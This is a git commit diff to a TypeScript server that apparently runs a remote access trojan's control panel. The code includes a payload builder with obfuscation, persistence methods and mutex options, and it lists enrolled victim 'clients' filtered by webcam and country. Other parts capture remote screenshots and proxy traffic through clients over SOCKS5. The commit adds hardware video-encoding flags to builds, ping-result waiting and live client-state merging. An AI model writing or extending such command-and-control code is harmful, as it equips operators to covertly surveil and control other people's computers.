AMF + NVENC control and support

This commit is contained in:
KingKDot
2026-07-11 14:55:26 -05:00
parent 62cd920936
commit 424ed348e3
31 changed files with 761 additions and 35 deletions
@@ -169,6 +169,8 @@ export async function handleBuildRoutes(
solRpcEndpoints,
stripDebug,
disableCgo,
enableNvenc,
enableAmf,
obfuscate,
enablePersistence,
persistenceMethods,
@@ -478,6 +480,8 @@ export async function handleBuildRoutes(
disableMutex: safeDisableMutex,
stripDebug,
disableCgo,
enableNvenc: enableNvenc !== false,
enableAmf: enableAmf !== false,
obfuscate: !!obfuscate,
enablePersistence,
persistenceMethods: safePersistenceMethods,
@@ -48,6 +48,15 @@ export function dispatchPingBulk(target: ClientInfo, countValue: unknown): numbe
return count;
}
async function waitForManualPing(target: ClientInfo, sentAt: number, timeoutMs = 1500): Promise<boolean> {
const deadline = Date.now() + timeoutMs;
while (Date.now() < deadline) {
if ((target.lastPongAt ?? 0) >= sentAt && target.lastPingNonce === undefined) return true;
await new Promise((resolve) => setTimeout(resolve, 10));
}
return false;
}
export async function handleClientCommandRoute(
req: Request,
url: URL,
@@ -87,8 +96,13 @@ export async function handleClientCommandRoute(
let success = true;
if (action === "ping") {
sendPingRequest(target, target.ws, "manual", 0);
const sentAt = Date.now();
const sent = sendPingRequest(target, target.ws, "manual", 0);
metrics.recordCommand("ping");
if (body?.waitForResult === true) {
const updated = sent ? await waitForManualPing(target, sentAt) : false;
return Response.json({ ok: true, sent, updated, pingMs: target.pingMs ?? null }, { headers: deps.CORS_HEADERS });
}
} else if (action === "ping_bulk") {
const count = dispatchPingBulk(target, body?.count);
metrics.recordCommand("ping_bulk");
@@ -61,6 +61,18 @@ type ClientRouteDeps = {
broadcastNotificationsCleared: (clientId: string) => void;
};
function mergeLiveClientState(result: any) {
return {
...result,
items: (result.items || []).map((item: any) => {
const live = clientManager.getClient(item.id);
return live
? { ...item, online: true, lastSeen: live.lastSeen, pingMs: live.pingMs ?? item.pingMs }
: item;
}),
};
}
export async function handleClientRoutes(
req: Request,
url: URL,
@@ -115,12 +127,12 @@ export async function handleClientRoutes(
if (user.role === "admin") {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
return Response.json(result, { headers: deps.CORS_HEADERS });
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
}
if (user.role === "operator" && isEnrollmentRequest) {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
return Response.json(result, { headers: deps.CORS_HEADERS });
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
}
const scope = getUserClientAccessScope(user.userId);
@@ -132,7 +144,7 @@ export async function handleClientRoutes(
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
return Response.json(result, { headers: deps.CORS_HEADERS });
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
}
if (url.pathname === "/api/clients/countries") {
@@ -287,9 +299,7 @@ export async function handleClientRoutes(
metrics.recordCommand("screenshot");
}
const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;
if (fresh) {
await new Promise((r) => setTimeout(r, 300));
} else {
if (!fresh) {
await requestThumbnailRegen(clientId);
}
clearThumbnailRequest(clientId);
@@ -17,7 +17,7 @@ import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping }
import * as sessionManager from "../../sessions/sessionManager";
import type { SocketData } from "../../sessions/types";
import type { ClientInfo } from "../../types";
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong, handleScreenshotThumbnailResult } from "../../wsHandlers";
import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
@@ -789,6 +789,7 @@ export async function handleWebSocketMessage(
}
break;
case "screenshot_result":
handleScreenshotThumbnailResult(client, payload);
deps.handleNotificationScreenshotResult(client.id, payload);
break;
case "console_output":